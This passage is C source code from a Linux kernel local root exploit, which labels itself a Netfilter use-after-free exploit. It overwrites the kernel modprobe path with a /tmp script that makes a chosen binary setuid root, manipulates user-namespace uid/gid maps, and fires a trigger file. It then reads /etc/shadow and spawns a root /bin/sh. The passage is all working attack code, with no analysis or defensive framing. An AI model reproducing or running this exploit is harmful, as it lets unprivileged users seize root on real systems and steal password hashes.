    res = asprintf(&modprobe_content, "#!/bin/sh\n\nchown 0:0 \"%s\"\nchmod 4555 \"%s\"\n",
        target_path, target_path);
    file_write("/tmp/modprobe", O_CREAT | O_WRONLY, 0755,
        modprobe_content, res);

    printf("[*] Creating \"/tmp/trigger\"...\n");
    char trigger_content[4] = { 0xff, 0xff, 0xff, 0xff, };
    file_write("/tmp/trigger", O_CREAT | O_WRONLY, 0755,
        trigger_content, sizeof(trigger_content));

    printf("[*] Updating setgroups...\n");
    char *pwn_setgroups_path;
    res = asprintf(&pwn_setgroups_path, "/proc/%d/setgroups", pwn_pid);
    if (res == -1) {
        err(1, "Cannot into asprintf()");
    }
    char *pwn_setgroups_content = "deny";
    file_write(pwn_setgroups_path, O_WRONLY, 0,
        pwn_setgroups_content, strlen(pwn_setgroups_content));

    printf("[*] Updating uid_map...\n");
    char *pwn_uid_map_path;
    res = asprintf(&pwn_uid_map_path, "/proc/%d/uid_map", pwn_pid);
    if (res == -1) {
        err(1, "Cannot into asprintf()");
    }
    char *pwn_uid_map_content;
    res = asprintf(&pwn_uid_map_content, "0 %d 1", getuid());
    if (res == -1) {
        err(1, "Cannot into asprintf()");
    }
    file_write(pwn_uid_map_path, O_WRONLY, 0,
        pwn_uid_map_content, res);

    printf("[*] Updating gid_map...\n");
    char *pwn_gid_map_path;
    res = asprintf(&pwn_gid_map_path, "/proc/%d/gid_map", pwn_pid);
    if (res == -1) {
        err(1, "Cannot into asprintf()");
    }
    char *pwn_gid_map_content;
    res = asprintf(&pwn_gid_map_content, "0 %d 1", getgid());
    if (res == -1) {
        err(1, "Cannot into asprintf()");
    }
    file_write(pwn_gid_map_path, O_WRONLY, 0,
        pwn_gid_map_content, res);

    printf("[*] Signaling PWN Worker...\n");
    char buf[1] = {};
    res = write(socketfd[0], buf, sizeof(buf));
    if (res != sizeof(buf)) {
        err(1, "Cannot into write()");
    }

    printf("[*] Waiting for PWN Worker...\n");
    int status = EFAULT;
    res = read(socketfd[0], &status, sizeof(status));
    if (res != sizeof(status)) {
        err(1, "Cannot into read()");
    }
    printf("[*] Got status=%d from PWN Worker...\n", status);
    if (status == EAGAIN) {
        return;
    }

    printf("[*] Checking \"cat /proc/sys/kernel/modprobe\"...\n");
    system("cat /proc/sys/kernel/modprobe");

    system("/tmp/trigger");

    res = execve(target_path, target_argv, target_envp);
    err(1, "Cannot into execve()");
}


static void exploit(char *target_path, char *target_argv[], char *target_envp[])
{
    int cpu_alloc = 0x80;
    cpu_set_t *cpu_set;
    size_t cpu_set_size;
    int res;

    printf("[*] Netfilter UAF exploit\n\n");

    cfg_load("profile");
    cfg_print();

    /* see https://github.com/linux-test-project/ltp/blob/master/testcases/kernel/syscalls/getcpu/getcpu01.c */
    printf("[*] Checking for available CPUs...\n");
    while (1) {
        cpu_alloc <<= 1;
        cpu_set = CPU_ALLOC(cpu_alloc);
        if (cpu_set == NULL) {
            err(1, "Cannot into CPU_ALLOC()");
        }
        cpu_set_size = CPU_ALLOC_SIZE(cpu_alloc);

        CPU_ZERO_S(cpu_set_size, cpu_set);
        res = sched_getaffinity(0, cpu_set_size, cpu_set);
        printf("[*] sched_getaffinity() => %d %d\n", res, errno);
        if (res == 0) {
            break;
        }
        else if (errno != EINVAL) {
            err(1, "Cannot into sched_getaffinity()");
        }
    }

    cpu_set_t *cpu_affinity = CPU_ALLOC(cpu_alloc);
    if (cpu_affinity == NULL) {
        err(1, "Cannot into CPU_ALLOC()");
    }
    CPU_ZERO_S(cpu_set_size, cpu_affinity);

    int pwn_cpu = -1;
    for (int cpu = 0; cpu < cpu_set_size * 8; ++ cpu) {
        if (CPU_ISSET_S(cpu, cpu_set_size, cpu_set)) {
            if (pwn_cpu == -1) {
                pwn_cpu = cpu;
                printf("[*] Reserved CPU %d for PWN Worker\n", cpu);
            }
            else {
                pthread_t thread;

                CPU_SET_S(cpu, cpu_set_size, cpu_affinity);
                thread_create_with_affinity(&thread,
                    cpu_set_size,
                    cpu_affinity,
                    cpu_spinning_loop,
                    NULL
                );
                CPU_CLR_S(cpu, cpu_set_size, cpu_affinity);
                printf("[*] Started cpu_spinning_loop() on CPU %d\n", cpu);
            }
        }
    }

    CPU_SET_S(pwn_cpu, cpu_set_size, cpu_affinity);
    for (int attempt = 0; attempt < 5; ++ attempt) {
        pwn_helper(cpu_set_size, cpu_affinity, target_path, target_argv, target_envp);
    }

    printf("\n\n[*] No ROOT for you:-(\n[*] Please reboot the machine!\n\n");
}


int execve_with_setuid(char *target_argv[], char *target_envp[])
{
    int res;

    printf("[*] Checking \"/etc/shadow\"...\n");
    FILE *f = fopen("/etc/shadow", "rb");
    if (f != NULL) {
        char buf[0x1000];
        size_t size = fread(buf, 1, sizeof(buf), f);
        if (0 < size) {
            fwrite(buf, 1, size, stdout);
        }
    }

    uid_t euid = geteuid();
    if (euid != 0) {
        err(1, "Unexpected effective user id of the process");
    }

    res = setuid(0);
    if (res != 0) {
        err(1, "Cannot into setuid()");
    }
    res = setgid(0);
    if (res != 0) {
        err(1, "Cannot into setgid()");
    }

    printf("\n\n[*] You've Got ROOT:-)\n\n");

    res = execve(target_argv[0], target_argv, target_envp);
    err(1, "Cannot into execve()");
}


int main(int argc, char *argv[], char *envp[])
{
    setbuf(stdout, NULL);

    if (3 <= argc) {
        execve_with_setuid(argv + 2, envp);
    }
    else {
        char *target_path;
        if (2 <= argc) {
            target_path = argv[1];
        }
        else {
            target_path = realpath(argv[0], NULL);
            if (target_path == NULL) {
                err(1, "Cannot into realpath()");
            }
        }
        char *target_argv[] = { "-", "-", "/bin/sh", NULL };
        exploit(target_path, target_argv, envp);
    }
}